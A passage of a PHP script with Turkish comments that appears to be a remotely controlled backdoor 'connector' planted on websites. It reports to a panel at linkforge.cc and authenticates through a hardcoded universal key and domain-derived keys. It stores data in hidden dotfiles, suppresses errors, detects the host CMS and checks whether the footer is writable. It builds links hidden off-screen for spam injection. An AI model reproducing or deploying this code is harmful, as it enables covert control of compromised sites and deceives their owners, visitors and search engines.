true, 'data' => [ 'site' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'version' => '4.2', 'timestamp' => time(), 'batch_ready' => true, 'max_batch_size' => 100 ], 'status' => 'ok' ]); if (function_exists('fastcgi_finish_request')) { fastcgi_finish_request(); } else { if (ob_get_level()) ob_end_flush(); flush(); } exit; } // Lightweight batch ping if ($quickAction === 'batch_health') { http_response_code(200); header('Content-Type: application/json'); header('Connection: close'); header('Access-Control-Allow-Origin: *'); $base_dir = dirname(__FILE__); echo json_encode([ 'success' => true, 'batch_id' => $_GET['batch_id'] ?? uniqid(), 'site' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'index' => intval($_GET['site_index'] ?? 0), 'batch_index' => intval($_GET['batch_index'] ?? 0), 'version' => '4.2', 'key_status' => file_exists($base_dir . '/.rs_key') || file_exists($base_dir . '/rs_key.dat'), 'timestamp' => time() ]); if (function_exists('fastcgi_finish_request')) { fastcgi_finish_request(); } exit; } } // Performance optimizasyonları ini_set('max_execution_time', 0); ini_set('memory_limit', '1024M'); ini_set('default_socket_timeout', 2); if (function_exists('opcache_compile_file')) { @opcache_compile_file(__FILE__); } // Hata raporlama $DEBUG_MODE = 0; error_reporting($DEBUG_MODE ? E_ALL : 0); ini_set('display_errors', $DEBUG_MODE ? '1' : '0'); // CORS ayarları header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: GET, POST, OPTIONS'); header('Access-Control-Allow-Headers: Content-Type, X-RS-Sig, X-RS-Ts, X-RS-Key, X-RS-Setup-Token'); header('Content-Type: application/json; charset=utf-8'); if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') { http_response_code(200); exit(0); } // ==================== YAPILANDIRMA ==================== define('PANEL_API_URL', 'https://linkforge.cc'); define('SETUP_TOKEN', ''); // NOTE: This is a template placeholder. Panel injects the real value at download/update time. // If it stays unreplaced (contains "{{"), universal-key auth is disabled on this site. define('UNIVERSAL_SITE_KEY', 'c5f9ae885d1ab192e1c3bf95400b02eb84f0e5f706d58979'); // Dosya yolları $base_dir = dirname(__FILE__); $use_hidden = @file_put_contents($base_dir . '/.rs_test', 'test') !== false; if ($use_hidden) @unlink($base_dir . '/.rs_test'); define('KEY_FILE', $base_dir . '/' . ($use_hidden ? '.rs_key' : 'rs_key.dat')); define('LINKS_FILE', $base_dir . '/' . ($use_hidden ? '.rs_links.json' : 'rs_links.dat')); define('CONFIG_FILE', $base_dir . '/' . ($use_hidden ? '.rs_config.json' : 'rs_config.dat')); // ==================== YARDIMCI FONKSİYONLAR ==================== /** * JSON yanıt gönder */ function respond($success, $data = [], $message = '', $http_code = 0) { if ($http_code > 0) { http_response_code($http_code); } else { http_response_code($success ? 200 : 200); } header('Connection: close'); $response = [ 'success' => $success, 'status' => $success ? 'ok' : 'error', 'message' => $message, 'data' => $data, 'version' => '4.2', 'timestamp' => time() ]; echo json_encode($response, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); if (function_exists('fastcgi_finish_request')) { fastcgi_finish_request(); } else { if (ob_get_level()) ob_end_flush(); flush(); } exit; } /** * Auth failure yanıtı - HTTP 200 ile success=false döner (panel uyumu için) */ function respond_auth_fail($message = 'Kimlik doğrulama başarısız') { respond(false, [], $message, 200); } /** * Domain-based static key generator (v4 uyumluluğu) */ function generate_site_static_key() { $domain = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? 'default'; $domain = strtolower(trim($domain)); $domain = preg_replace('/^www\./', '', $domain); $hash = substr(md5($domain . 'rs41_salt'), 0, 7); return 'RS41_' . $hash; } /** * Kayıtlı key'i al - HYBRID SİSTEM * Öncelik: 1) Dosyadan oku (per-site key), 2) Define edilmiş sabit key */ function get_stored_key() { // 1. Dosyadan oku (en güvenilir - per-site unique key) if (file_exists(KEY_FILE)) { $file_key = trim(file_get_contents(KEY_FILE)); if (!empty($file_key) && strlen($file_key) >= 4) { return $file_key; } } // 2. Domain-based static key (v4 uyumluluğu) return generate_site_static_key(); } /** * Tüm geçerli key'leri topla (auth için kullanılır) */ function get_all_valid_keys() { $keys = []; // 1. Dosyadan okunan key if (file_exists(KEY_FILE)) { $file_key = trim(file_get_contents(KEY_FILE)); if (!empty($file_key) && strlen($file_key) >= 4) { $keys[] = $file_key; } } // 2. Domain-based key $domain_key = generate_site_static_key(); if (!empty($domain_key) && !in_array($domain_key, $keys)) { $keys[] = $domain_key; } // 3. Universal key $universal = defined('UNIVERSAL_SITE_KEY') ? trim((string)UNIVERSAL_SITE_KEY) : ''; // Disable if placeholder wasn't substituted. if (!empty($universal) && strpos($universal, '{{') === false && !in_array($universal, $keys)) { $keys[] = $universal; } return $keys; } /** * Key'i dosyaya kaydet - AKTİF (v3 uyumluluğu) */ function save_key($key) { $key = trim((string)$key); if (empty($key)) return false; return @file_put_contents(KEY_FILE, $key) !== false; } function save_config($config) { return @file_put_contents(CONFIG_FILE, json_encode($config, JSON_UNESCAPED_UNICODE)) !== false; } function get_config() { if (file_exists(CONFIG_FILE)) { $content = @file_get_contents(CONFIG_FILE); return json_decode($content, true) ?: []; } return []; } function get_links() { if (file_exists(LINKS_FILE)) { $content = @file_get_contents(LINKS_FILE); return json_decode($content, true) ?: []; } return []; } function save_links($links) { return @file_put_contents(LINKS_FILE, json_encode($links, JSON_UNESCAPED_UNICODE)) !== false; } /** * Request body'yi tek sefer oku ve cache'le (HMAC tutarlılığı için) */ function get_raw_request_body() { static $cached_body = null; if ($cached_body === null) { $cached_body = file_get_contents('php://input'); if ($cached_body === false) { $cached_body = ''; } } return $cached_body; } function get_request_data() { $data = []; if (!empty($_POST)) { $data = $_POST; } $raw = get_raw_request_body(); if ($raw) { $json = json_decode($raw, true); if (is_array($json)) { $data = array_merge($data, $json); } } $data = array_merge($data, $_GET); return $data; } /** * Action adını normalize et */ function normalize_action_name($action) { $action = strtolower(trim((string)$action)); if ($action === '') return 'ping'; $qpos = strpos($action, '?'); if ($qpos !== false) $action = substr($action, 0, $qpos); $apos = strpos($action, '&'); if ($apos !== false) $action = substr($action, 0, $apos); $action = preg_replace('/[^a-z0-9_]/', '', $action); return $action ?: 'ping'; } function normalize_rel($rel) { $rel = strtolower(trim((string)$rel)); return ($rel === 'nofollow') ? 'nofollow' : 'dofollow'; } /** * Request içinden gelen key'i al (tüm field adlarını kontrol et) */ function get_provided_site_key($req) { $candidates = [ $req['key'] ?? '', $req['site_key'] ?? '', $req['connector_key'] ?? '', $req['api_key'] ?? '', $req['token'] ?? '', $_SERVER['HTTP_X_RS_KEY'] ?? '', ]; foreach ($candidates as $candidate) { if (!is_string($candidate)) continue; $candidate = trim($candidate); if ($candidate !== '') return $candidate; } return ''; } /** * Setup token doğrulama */ function has_valid_setup_token($req) { $expected = defined('SETUP_TOKEN') ? SETUP_TOKEN : ''; if (empty($expected) || strpos($expected, '{{') !== false) return false; $provided = ''; if (isset($req['setup_token']) && is_string($req['setup_token'])) { $provided = trim($req['setup_token']); } elseif (isset($_SERVER['HTTP_X_RS_SETUP_TOKEN']) && is_string($_SERVER['HTTP_X_RS_SETUP_TOKEN'])) { $provided = trim($_SERVER['HTTP_X_RS_SETUP_TOKEN']); } return $provided !== '' && hash_equals($expected, $provided); } // Link inline stil function get_link_inline_style() { $config = get_config(); $mode = strtolower(trim((string)($config['link_output_mode'] ?? 'hidden'))); if ($mode === 'visible') { return 'display:inline-block;margin:0 8px 0 0;color:inherit;text-decoration:none;font-size:inherit;line-height:1.4;opacity:1;'; } return 'position:absolute;left:-9999px;opacity:0;font-size:1px;color:transparent;'; } function build_link_html($url, $anchor, $rel = 'dofollow') { $rel = normalize_rel($rel); $rel_attr = ($rel === 'nofollow') ? ' rel="nofollow"' : ''; $style = get_link_inline_style(); return '' . htmlspecialchars($anchor, ENT_QUOTES, 'UTF-8') . ''; } function find_document_root() { $base = $_SERVER['DOCUMENT_ROOT'] ?? ''; if (empty($base)) { $base = dirname(__FILE__); for ($i = 0; $i < 5; $i++) { if (file_exists($base . '/index.php') || file_exists($base . '/index.html')) break; $parent = dirname($base); if ($parent === $base) break; $base = $parent; } } return $base; } // ==================== HMAC DOĞRULAMA ==================== /** * HMAC doğrulama - TÜM geçerli key'leri dener */ function verify_hmac_any() { $signature = $_SERVER['HTTP_X_RS_SIG'] ?? ''; $timestamp = $_SERVER['HTTP_X_RS_TS'] ?? ''; if (empty($signature) || empty($timestamp)) return false; if (abs(time() - intval($timestamp)) > 300) return false; $body = get_raw_request_body(); $keys = get_all_valid_keys(); foreach ($keys as $key) { $expected = hash_hmac('sha256', $timestamp . $body, $key); if (hash_equals($expected, $signature)) return true; } return false; } /** * Belirli bir key ile HMAC doğrulama */ function verify_hmac($site_key) { $signature = $_SERVER['HTTP_X_RS_SIG'] ?? ''; $timestamp = $_SERVER['HTTP_X_RS_TS'] ?? ''; if (empty($signature) || empty($timestamp)) return false; if (abs(time() - intval($timestamp)) > 300) return false; $body = get_raw_request_body(); $expected = hash_hmac('sha256', $timestamp . $body, $site_key); return hash_equals($expected, $signature); } // ==================== UNIVERSAL AUTH ==================== /** * Korumalı action'lar için universal kimlik doğrulama * Tüm auth yöntemlerini dener: per-site key, domain key, universal key, HMAC, setup token */ function authenticate_request($req) { $provided_key = get_provided_site_key($req); $all_valid_keys = get_all_valid_keys(); // Yöntem 1: Gönderilen key, geçerli keylerden biriyle eşleşiyor mu? if (!empty($provided_key)) { foreach ($all_valid_keys as $valid_key) { if ($provided_key === $valid_key) return true; } } // Yöntem 2: HMAC - tüm geçerli keylerle dene if (verify_hmac_any()) return true; // Yöntem 3: Geçerli setup token if (has_valid_setup_token($req)) return true; return false; } // ==================== SİTE BİLGİSİ ALGILAMA ==================== function detect_site_info($fast_mode = false) { $base = find_document_root(); if ($fast_mode) { return [ 'site' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'site_name' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'site_type' => 'unknown', 'language' => 'EN', 'country' => 'US', 'footer_detected' => false, 'footer_writable' => false, 'version' => '4.2' ]; } $info = [ 'site' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'site_name' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'site_type' => 'static', 'language' => 'EN', 'country' => 'US', 'footer_detected' => false, 'footer_writable' => false, 'meta_description' => '', 'charset' => 'UTF-8', 'php_version' => phpversion(), 'connector_path' => __FILE__ ]; // CMS tipi algıla if (file_exists($base . '/wp-config.php') || file_exists($base . '/wp-load.php')) { $info['site_type'] = 'wordpress'; $info['footer_detected'] = true; } elseif (file_exists($base . '/configuration.php') && is_dir($base . '/administrator')) { $info['site_type'] = 'joomla'; $info['footer_detected'] = true; } elseif (file_exists($base . '/includes/bootstrap.inc') && is_dir($base . '/sites')) { $info['site_type'] = 'drupal'; $info['footer_detected'] = true; } elseif (file_exists($base . '/config.php') && is_dir($base . '/catalog')) { $info['site_type'] = 'opencart'; $info['footer_detected'] = true; } elseif (file_exists($base . '/config/settings.inc.php') && is_dir($base . '/themes')) { $info['site_type'] = 'prestashop'; $info['footer_detected'] = true; } elseif (file_exists($base . '/artisan')) { $info['site_type'] = 'laravel'; $info['footer_detected'] = true; } elseif (file_exists($base . '/index.php')) { $info['site_type'] = 'php'; } // Index dosyasından bilgi çek $index_files = ['index.php', 'index.html', 'index.htm']; foreach ($index_files as $file) { $path = $base . '/' . $file; if (file_exists($path)) { $content = @file_get_contents($path, false, null, 0, 50000); if ($content) { if (preg_match('/